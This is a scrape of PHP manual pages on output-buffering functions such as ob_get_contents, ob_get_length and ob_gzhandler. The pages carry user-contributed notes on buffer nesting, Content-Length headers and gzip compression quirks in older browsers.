  ob_start();
  echo array_pop($__ob_stack);
  }
}

ob_start();
echo "1"; // now we write to "ob" buffer
ob_break();
echo "2"; // now we write to stdout
ob_continue();
echo "3"; // now we write again to "ob" buffer
$output=ob_get_clean();
echo $output;

// output is 213
egbert teeselink 02-Feb-2008 07:47
If you're trying to capture the output from an included 3rd party script you don't seem to be capturing everything, the following might help:

function ob_end_clean_all()
{
    $s = "";
    do
    {
        $s = ob_get_contents() . $s;
    } while(ob_end_clean());
    return $s;
}

This function closes all nested output bufferings, therefore closing any buffers that the included script does not explicitly close. It's basically a ob_end_clean that sweeps together all the output buffers instead of just the innermost one.
ludvig dot ericson at gmail dot com 10-Aug-2005 07:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls
webmaster at ragnarokonline dot de 01-Oct-2003 05:21
Running PHP4 < 4.3.0, you can simply add the following to use the function anyway:

<?php
if (!function_exists("ob_get_clean")) {
    function ob_get_clean() {
        $ob_contents = ob_get_contents();
        ob_end_clean();
        return $ob_contents;
    }
}
?>
ob_flush
ob_get_contents
Output Control Functions


Return the contents of the output buffer

ob_get_clean
ob_get_flush
Output Control Functions
PHP Manual

ob_get_contents

(PHP 4, PHP 5)

ob_get_contents — Return the contents of the output buffer

Description

string ob_get_contents ( void )

Gets the contents of the output buffer without clearing it.

Return Values

This will return the contents of the output buffer or FALSE, if output buffering isn't active.

Examples

Example #1 A simple ob_get_contents() example

<?php

ob_start();

echo "Hello ";

$out1 = ob_get_contents();

echo "World";

$out2 = ob_get_contents();

ob_end_clean();

var_dump($out1, $out2);
?>

The above example will output:

string(6) "Hello "
string(11) "Hello World"

See Also

  • ob_start() - Turn on output buffering
  • ob_get_length() - Return the length of the output buffer

User Contributed Notes

DrDreistein at dontknow dot at 04-Oct-2011 04:07
i made a simple test which is faster: adding some text in the normal way or by the ob stack:

<?php
$start = microtime(true);
$var = '';
for($i=0 ; $i <= 1000000 ; $i++) {
    $var .= ' ';
}
$middle = microtime(true);

ob_start();
for($i=0 ; $i <= 1000000 ; $i++) {
    echo ' ';
}
$var = ob_get_contents();
ob_end_clean();

$end = microtime(true);

echo $middle - $start;
echo '<br />';
echo $end - $middle;
?>

Outputs something like this:

0.33658003807068
0.30778789520264
mauroasprea+php at gmail dot com 30-Dec-2010 08:10
This is an example of how the stack works:

<?php
//Level 0
ob_start();
echo "Hello ";

//Level 1
ob_start();
echo "Hello World";
$out2 = ob_get_contents();
ob_end_clean();

//Back to level 0
echo "Galaxy";
$out1 = ob_get_contents();
ob_end_clean();

//Just output
var_dump($out1, $out2);
?>
m227 ( at ) poczta dot onet dot pl 24-Feb-2005 06:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org 08-Feb-2005 02:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
        readfile($nameimage);
        $image_data = ob_get_contents();
        ob_end_clean();
        echo $image_data;
        unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images
ob_get_clean
ob_get_flush
Output Control Functions


Flush the output buffer, return it as a string and turn off output buffering

ob_get_contents
ob_get_length
Output Control Functions
PHP Manual

ob_get_flush

(PHP 4 >= 4.3.0, PHP 5)

ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering

Description

string ob_get_flush ( void )

ob_get_flush() flushes the output buffer, return it as a string and turns off output buffering.

Note: This function is similar to ob_end_flush(), except that this function returns the buffer as a string.

Return Values

Returns the output buffer or FALSE if no buffering is active.

Examples

Example #1 ob_get_flush() example

<?php
//using output_buffering=On
print_r(ob_list_handlers());

//save buffer in a file
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

The above example will output:

Array
(
    [0] => default output handler
)
Array
(
)

See Also

  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

taras dot dot dot di at gmail dot com 14-Aug-2008 07:53
I don't know how exactly this works, but if you call this function, PHP would behave as if headers have been sent (even though the output has gone to a string).

This means that you can't call this function, and then call setcookie for example.

This was verified by trial and error
info at pcdoctor dot fr 08-Jun-2008 08:35
Hi,
this is just to add a behavior that I haven't understud at first place.

ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen.

Use ob_get_clean if you do not want the buffer to be send to the user
zubin@byron 07-Sep-2005 07:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron 31-Aug-2005 01:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>
ob_get_contents
ob_get_length
Output Control Functions


Return the length of the output buffer

ob_get_flush
ob_get_level
Output Control Functions
PHP Manual

ob_get_length

(PHP 4 >= 4.0.2, PHP 5)

ob_get_length — Return the length of the output buffer

Description

int ob_get_length ( void )

This will return the length of the contents in the output buffer.

Return Values

Returns the length of the output buffer contents or FALSE if no buffering is active.

Examples

Example #1 A simple ob_get_length() example

<?php

ob_start();

echo "Hello ";

$len1 = ob_get_length();

echo "World";

$len2 = ob_get_length();

ob_end_clean();

echo $len1 . ", ." . $len2;
?>

The above example will output:

6, 11

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer

User Contributed Notes

Nitrogen 14-Feb-2009 09:34
I use this function to produce a small speed test in my pages since I run my website from my home computers.

<?php
ob_start();
$StartTime=microtime(1);
?>
.. webpage data goes here ..

<?php
// footer?
printf("%s seconds to produce (%skb/sec)",
  microtime(1)-$StartTime,
  Round((ob_get_length()/(microtime(1)-$StartTime))/1024));

ob_end_flush();
?>

Note: don't forget the "speed" depends on how quick the content is actually generated and not on the speed the data is sent to the client..
However it would be good to see such function to get the real speed. :)

Nitrogen.
stangelanda at arrowquick dot com 03-Aug-2007 08:36
If you don't buffer your output, it doesn't seem like it would be possible for a web server to output a Content-Length header.  For static files it can check the filesize, but for dynamic files that send output a little by little there is no way to know how many bytes it is going to output.  And the headers have to be sent before a single byte is output.

Also if you're wondering why the Content-Length is important, the browser doesn't close the connection as long as the script is running.  So if you register time consuming shutdown functions, the browser will still 'spin' waiting for more content until they complete.  (I'm not sure this happens under all conditions, but I am certain the sending the Content-Length always prevents this.)

You might take note that this manual page does not currently output any Content-Length header.

Alternatively using mb_strlen($output, 'latin1') seems to work to determine bytes in a string.  strlen may or may not depending on if it has been set up as a multibyte or not.
Sinured 11-Jul-2007 03:25
> Dude, your web server will compute Content-length for you!

I've noticed that Apache 1.3 doesn't do that.
However, if you’re running Apache 2.2 (and maybe 2.0, haven't experienced that yet) you don't need to worry about Content-Length.
18-Jan-2007 01:49
Dude, your web server will compute Content-length for you!
rush at logic dot cz 02-Dec-2005 02:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
prophp at gmail dot com 14-Oct-2005 11:56
It's interesting how ob_start("ob_gzhandler"); or ob_gzhandler(); affect this function. The returned size is the buffer uncompressed size; therefore something like strlen(ob_get_contents()); just (hopefully) faster. However in order to obtain the compressed buffer size; there seem to be no function around.

Calin
webmaster at crescentart dot com 29-Jun-2001 01:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>
ob_get_flush
ob_get_level
Output Control Functions


Return the nesting level of the output buffering mechanism

ob_get_length
ob_get_status
Output Control Functions
PHP Manual

ob_get_level

(PHP 4 >= 4.2.0, PHP 5)

ob_get_level — Return the nesting level of the output buffering mechanism

Description

int ob_get_level ( void )

Returns the nesting level of the output buffering mechanism.

Return Values

Returns the level of nested output buffering handlers or zero if output buffering is not active.

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer

User Contributed Notes

18-May-2005 08:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or [if it's related to when a] server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org 07-Jul-2004 09:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   <?php $ob_active = ob_get_length () !== FALSE ?>

Paolo
tit dot petric at nospam dot telemach dot net 22-Jun-2002 12:01
in case you wanted to use a function to use for deleting all buffered output (to clearly display errors), you have it below

this eliminates the need for ob_end_clean_all() in php. good code :)

<?php
function condor_error($errno, $errstr, $errfile, $errline)
{
        $errors = array(E_USER_ERROR, E_ERROR, E_PARSE);
        if (in_array($errno,$errors)) {
                while (ob_get_level()) {
                        ob_end_clean();
                }
                echo "<B>FATAL</B> [".$errno."] ".$errstr."<br>\n";
                echo "Fatal error at line ".$errline." of file ".$errfile;
                echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br>\n";
                echo "Aborting...<br><br>\n\n";
                exit;
        }
}

set_error_handler("condor_error");
?>
ob_get_length
ob_get_status
Output Control Functions


Get status of output buffers

ob_get_level
ob_gzhandler
Output Control Functions
PHP Manual

ob_get_status

(PHP 4 >= 4.2.0, PHP 5)

ob_get_status — Get status of output buffers

Description

array ob_get_status ([ bool $full_status = FALSE ] )

ob_get_status() returns status information on either the top level output buffer or all active output buffer levels if full_status is set to TRUE.

Parameters

full_status

TRUE to return all active output buffer levels. If FALSE or not set, only the top level output buffer is returned.

Return Values

If called without the full_status parameter or with full_status = FALSE a simple array with the following elements is returned:

Array
(
    [level] => 2
    [type] => 0
    [status] => 0
    [name] => URL-Rewriter
    [del] => 1
)
Simple ob_get_status() results
Key:level
Value:Output nesting level
Key:type
Value:PHP_OUTPUT_HANDLER_INTERNAL (0) or PHP_OUTPUT_HANDLER_USER (1)
Key:status
Value:One of PHP_OUTPUT_HANDLER_START (0), PHP_OUTPUT_HANDLER_CONT (1) or PHP_OUTPUT_HANDLER_END (2)
Key:name
Value:Name of active output handler or ' default output handler' if none is set
Key:del
Value:Erase-flag as set by ob_start()

If called with full_status = TRUE an array with one element for each active output buffer level is returned. The output level is used as key of the top level array and each array element itself is another array holding status information on one active output level.

Array
(
    [0] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 1
            [status] => 0
            [name] => default output handler
            [del] => 1
        )

    [1] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 0
            [buffer_size] => 0
            [status] => 0
            [name] => URL-Rewriter
            [del] => 1
        )

)

The full output contains these additional elements:

Full ob_get_status() results
Key:chunk_size
Value:Chunk size as set by ob_start()
Key:size
Value:...
Key:blocksize
Value:...

See Also

  • ob_get_level() - Return the nesting level of the output buffering mechanism
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

There are no user contributed notes for this page.
ob_get_level
ob_gzhandler
Output Control Functions


ob_start callback function to gzip output buffer

ob_get_status
ob_implicit_flush
Output Control Functions
PHP Manual

ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5)

ob_gzhandler — ob_start callback function to gzip output buffer

Description

string ob_gzhandler ( string $buffer , int $mode )

ob_gzhandler() is intended to be used as a callback function for ob_start() to help facilitate sending gz-encoded data to web browsers that support compressed web pages. Before ob_gzhandler() actually sends compressed data, it determines what type of content encoding the browser will accept ("gzip", "deflate" or none at all) and will return its output accordingly. All browsers are supported since it's up to the browser to send the correct header saying that it accepts compressed web pages. If a browser doesn't support compressed pages this function returns FALSE.

Parameters

buffer

mode

Return Values

Changelog

Version | Description
4.0.5 | The mode parameter was added.

Examples

Example #1 ob_gzhandler() example

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>This should be a compressed page.</p>
</body>
</html>

Notes

Note:

ob_gzhandler() requires the zlib extension.

Note:

You cannot use both ob_gzhandler() and zlib.output_compression. Also note that using zlib.output_compression is preferred over ob_gzhandler().

See Also

  • ob_start() - Turn on output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering

User Contributed Notes

Olivier 15-Nov-2010 02:04
Be careful not to use flush() because it will send the page without compressing it, making ob_start useless...
If you need to flush data use ob_flush()
Jer 16-Apr-2010 04:17
I've just spent 5 hours fighting a bug in my application and outcome is:

<?php
// do not use
ob_start("ob_gzhandler");
// along with
header('HTTP/1.1 304 Not Modified');

// or in the end use
ob_end_clean();
?>

W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty!

This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up.
przemekryciuk at gmail dot com 23-Jun-2009 02:34
The simplest way for gzip compression is:
<?php
if(!ob_start("ob_gzhandler")) ob_start();
?>
ob_start("ob_gzhandler") returns FALSE if browser doesn't support gzip, so then is called normal ob_start();
walter 11-Dec-2008 07:48
I have a very well tested module in my framework (ie: running in production environments for a couple of years) called 'fastpage', which takes care of both memcaching and gzipping for frequently requested content.  It memcaches one version of each unique page both gzipped and non-gzipped, and returns the appropriate version based upon the browser's Accept-encoding header.

Use is:
$page_spec = array($dependent,$variables,$go,$here);
if(!fastpage_display('content_id',$page_spec)) {
 ... make page here ...
 fastpage_displayed('content_id',$page_spec);
}

Unfortunately, on IE8 beta (in IE8 mode, or in IE7 emulation mode), the fastpage-enabled content was not being un-gzipped.  IE would request the content, a 200 status and correct byte count would appear in the server logfile, and IE would show no errors.  However, CSS would not be applied and Javascript would not execute.

The only fix I can find right now is to disable gzip entirely for this browser.  User agent string is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727

The same output works fine in firefox (windows, linux, mac), and in safari.

Versions are: zlib 1.2.3-r1 / php 5.2.6-r7 / lighttpd 1.4.20

So much for the 'this has been fixed in IE7' comment, above...
ronald at hidden dot com 26-Aug-2008 01:15
Hi,

if you are using apache, I think you are much better of using apache's compression, as this will also compress static text files (css, js, html, etc) and it will keep your php-code clean.

See http://httpd.apache.org/docs/2.0/mod/mod_deflate.html for an excellent how to.

And for other webservers, I'm pretty sure they have equivalents.

Cheers, Ronald
steve at mrclay dot org 16-Jul-2008 09:31
The Accept-Encoding header can't be trusted in IE5 and unpatched IE6; there are gzip-related bugs in this browsers. The docs don't mention if ob_gzhandler knows about these, so you might want to use the function below:

<?php
function isBuggyIe() {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    // quick escape for non-IEs
    if (0 !== strpos($ua, 'Mozilla/4.0 (compatible; MSIE ')
        || false !== strpos($ua, 'Opera')) {
        return false;
    }
    // no regex = faaast
    $version = (float)substr($ua, 30);
    return (
        $version < 6
        || ($version == 6  && false === strpos($ua, 'SV1'))
    );
}

// usage:
isBuggyIe() || ob_start("ob_gzhandler");
?>

Code borrowed from the HTTP_Encoder class in http://code.google.com/p/minify/
sugoi82 at removeme dot gmail dot spam dot com 24-Dec-2007 06:09
in reply to nyarl at hotep dot co dot uk;

Your 'solution' doesn't really work since session_id() will return an empty string if there is no session started. Therefore it will never return NULL.
Yes the problem is gone, but also is your output buffering xD

I haven't found a solution to this problem yet... It seems ie6 just doesn't wanna play nice - like it does most of the times.
nyarl at hotep dot co dot uk 09-Dec-2007 06:45
Seems others have had problems with IE6 giving blank pages erratically when using ob_start("ob_gzhandler"). One reason may be that a session has already been started, so try:

<?php
  if (session_id() === null ) ob_start('ob_gzhandler');
?>

Worked for me. :)
TheSeoDude 09-Sep-2007 03:34
I wrote a simple script that I use on my site. Bandwidth consumption dropped dramatically. Pages shrunk 3-5 times.

The script simulates the results of using this function directly but by using regular output buffering with ob_start. So you get to output gzip and play with it before you do.

You can find the script with explanations here:
http://www.tellinya.com/art2/106/gzip-compress-html

Cheers and input is always welcome fellow coders!
maratd at gmail dot com 29-Aug-2007 08:51
Someone previously mentioned that MSIE doesn't cache gzipped content. This is false. He misread the source of information. In fact, IE will cache gzipped content no matter what. Here is the quote from the mailing list:

The reason the COMPRESSED responses are, in fact,
always getting cached no matter what "Vary:" field name
is present is just as I suspected... it is because MSIE
decides it MUST cache responses that arrive with
"Content-Encoding: gzip" because it MUST have a
disk ( cache ) file to work with in order to do the
decompression.

Source: http://lists.over.net/pipermail/mod_gzip/2002-December/006826.html
tehjosh at gamingg dot net 01-Aug-2007 04:18
faisun at sina dot com:
If you read up on output buffering, you'll see that if an output buffer callback returns false, this instructs PHP to output the original string untouched.  That's why ob_gzhandler() returns false if the encoding is not supported.   When ob_start("ob_gzhandler") is used and encoding is not supported, ob_gzhandler() will return false and PHP outputs the original, uncompressed string.

jsnell at e-normous dot com:
Output buffering callback functions accept up to two parameters, so this would probably work better for your situation:

<?php
function ob_gz_handler_no_errors($buffer, $mode)
{
    @ob_gzhandler($buffer, $mode);
}

ob_start('ob_gzhandler_no_errors');
?>

However, if you're trying to suppress errors caused by headers already being sent, it would be better to start the output buffering earlier, before any output can be sent.
jsnell at e-normous dot com 31-May-2007 11:04
If you want to suppress errors (such as for cases when headers are already sent) and you don't want to write or patch your error_handler, you need to create an intermediate callback:

function ob_gz_handler_no_errors($buffer)
{
    @ob_gzhandler($buffer);
}

ob_start('ob_gzhandler_no_errors');
faisun at sina dot com 23-Apr-2007 09:53
My PHP version is 5.2.1 For windows.

If browser doesn't support compressed ,
ob_start('ob_gzhandler') returns the original string,
but $str = ob_gzhandler ( $buffer, 5 ) returns false;

<?php
/* 1.php */
ob_start('ob_gzhandler') ;
echo 'This is a string.';
?>

<?php
/* 2.php */
header("Content-Encoding: gzip");
$buffer = 'This is a string.';
$str = ob_gzhandler ( $buffer, 5 ) ;
if($str===false){
    echo 'ob_gzhandler() returns false.';
}else{
    echo $str;
}
?>

<?php
/* 3.php */
echo file_get_contents('http://www.php.net/1.php');
echo file_get_contents('http://www.php.net/2.php');
/*
result:
This is a string.ob_gzhandler() returns false.
*/
?>
sredhead 27-Feb-2007 03:35
One of the earlier posts says caching of gzipped files is broken in all versions of MSIE. The following blog entry appears to declare that this has been fixed in IE7, but I haven't verified this.

http://blogs.msdn.com/ie/archive/2005/10/31/487509.aspx
nicolas dot grekas+php at gmail dot com 28-Jan-2007 10:45
Here are some precisions :

- the "mode" arg accepts a bit field composed of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END. See http://www.php.net/manual/fr/ref.zlib.php#56216 for an example. The value that jazfresh recommends below (5) is the good one, because 5 == PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_END.

- when called INSIDE an output buffering handler, ob_gzhandler DOES NOT return false when the browser doesn't support compressed pages. It rather returns the original string.
fpiat at bigfoot dot com 27-Aug-2006 05:55
DON'T compress/gzip your Error pages :

i can think of two good reasons not to compress your error pages:
1. You want to make sure that people can read you error pages, don't you ?
2. Compressing pages have a "side effect" : it's smaller !! if you return "HTTP/1.x 404 Document Not fount" (or any other HTTP error), MSIE will display it's built in error message, not yours if it's small than 513bytes. (see "HOW TO: Turn Off the Internet Explorer 5.x and 6.x 'Show Friendly HTTP Error Messages' Feature on the Server Side" http://support.microsoft.com/default.aspx?scid=kb;en-us;Q294807 )
spam_this at zleelz dot com 26-Aug-2006 11:49
When writing scripts for distribution, I would usually "null" out the following deprecated superglobals so that users who uses the script will not be able to use them.
<?php
$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
$HTTP_SERVER_VARS = null;
?>

However, when using ob_start('ob_gzhandler'), one of those superglobals somehow disable this function.

Found out that it was $HTTP_SERVER_VARS that's causing the problems.

<?php
ob_start('ob_gzhandler');

$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
/**
 * Causing the trouble
 */
//$HTTP_SERVER_VARS = null;
?>

I don't know why it does that, but I just want to point that out.
richard at mf2fm dot com 11-Jul-2006 02:50
According to the manual, if ob_gzhander detects that the browser is unable to support deflate or gzip it returns FALSE.  Does this mean that if you use ob_start("ob_gzhandler"), any browsers that do not support gzip/deflate will receive a blank page?

I've been having problems with IE6 displaying gzipped pages and adding a test:

<?php

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler");

else ob_start();

?>

solved the problem.  Surely if ob_gzhandler detects a lack of support for deflation it should return the input unchanged and not FALSE?
michael at michaelphipps dot com 29-Apr-2006 03:34
It is also possible to use ob_gzhandler to compress css and javascript files, however some browsers such as firefox expect content type text/css on css files.

To get around this send a content type header:

<?php
ob_start('ob_gzhandler');
?>

.... your css content ...

<?php
header("Content-Type: text/css");
header("Content-Length: ".ob_get_length());
ob_end_flush();
?>
mariusads[at]helpedia[dot]com 04-Feb-2006 09:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu 06-Sep-2005 06:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper 14-Jun-2005 07:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
24-May-2005 03:27
No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl 16-Apr-2005 05:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
    $use_page_cache = 1;
if (!isset($use_compression))
    $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (eregi("opera",$agent)){
    $browser="opera";
    }elseif(eregi("msie",$agent)){
    $browser="msie";
    }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
    // Turn on compression, makes quite a difference in bandwith usage.
    // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
    // it's either compression or caching. We choose caching.
    ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
    // MD5 is slow, however with a fast server (PIII or better) we should be OK
    $hash = md5($content);
    $headers = getallheaders();
    if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
    {
    header('HTTP/1.1 304 Not Modified');
    exit;
    }
    header("ETag: \"$hash\"");
}

print $content;

?>
grange (at) club-internet (dot) fr 07-Mar-2005 07:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
wallacebw at some-domain dot com 21-Feb-2005 09:50
IE 6+ appears to validate the CRC and disgard invalid gzip content FYI...
Brian
andy dot rem dot ove dot this at occ dot be 01-Apr-2004 02:21
From what I can understand, quite some people seem to have problems with this functionality.  If you want to do this quick, like i did, you can use the outstanding class gzip_encode made by Leknor at http://leknor.com/code/php/view/class.gzip_encode.php.txt
mazsolt at yahoo dot com 18-Mar-2004 07:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
daijoubuNOSP at Mvideotron dot ca 27-Oct-2003 02:05
So much code...here's a lighter/faster one:
<?php

if ( $do_gzip_compress )
{
    $gzip_size        = ob_get_length();
    $gzip_contents    = ob_get_clean(); // PHP < 4.3 use ob_get_contents() + ob_end_clean()

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00",
         substr(gzcompress($gzip_contents, 9), 0, - 4), // substr -4 isn't needed
         pack('V', crc32($gzip_contents)),    // crc32 and
         pack('V', $gzip_size);               // size are ignored by all the browsers i have tested
}

exit;
?>
I wouldn't recommande using level 9, waste of CPU, something between 1 and 6 would be more resonable
I have tested without the substr/crc/size and it worked flawlessly in IE5/5.5/6, Opera7.11/7.21, IE5.5 MAC
brewthatistrue at plzYnoAspamHorOevilO dot com 21-Sep-2003 02:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
    $phpver = phpversion();

    $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

    if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
    {
        if ( extension_loaded('zlib') )
        {
            ob_start('ob_gzhandler');
        }
    }
    else if ( $phpver > '4.0' )
    {
        if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
        {
            if ( extension_loaded('zlib') )
            {
                $do_gzip_compress = TRUE;
                ob_start();
                ob_implicit_flush(0);

                header('Content-Encoding: gzip');
            }
        }
    }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
    //
    // Borrowed from php.net!
    //
    $gzip_contents = ob_get_contents();
    ob_end_clean();

    $gzip_size = strlen($gzip_contents);
    $gzip_crc = crc32($gzip_contents);

    $gzip_contents = gzcompress($gzip_contents, 9);
    $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
    echo $gzip_contents;
    echo pack('V', $gzip_crc);
    echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com 18-Sep-2003 07:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
    my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
    // ...
    // ... Insert your error handling here ...
    // ...
    return 'An internal error occurred.';
  } else {
    // The page rendered without any errors, so compress
    // and output.
    return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca 06-Sep-2003 04:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isn’t affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
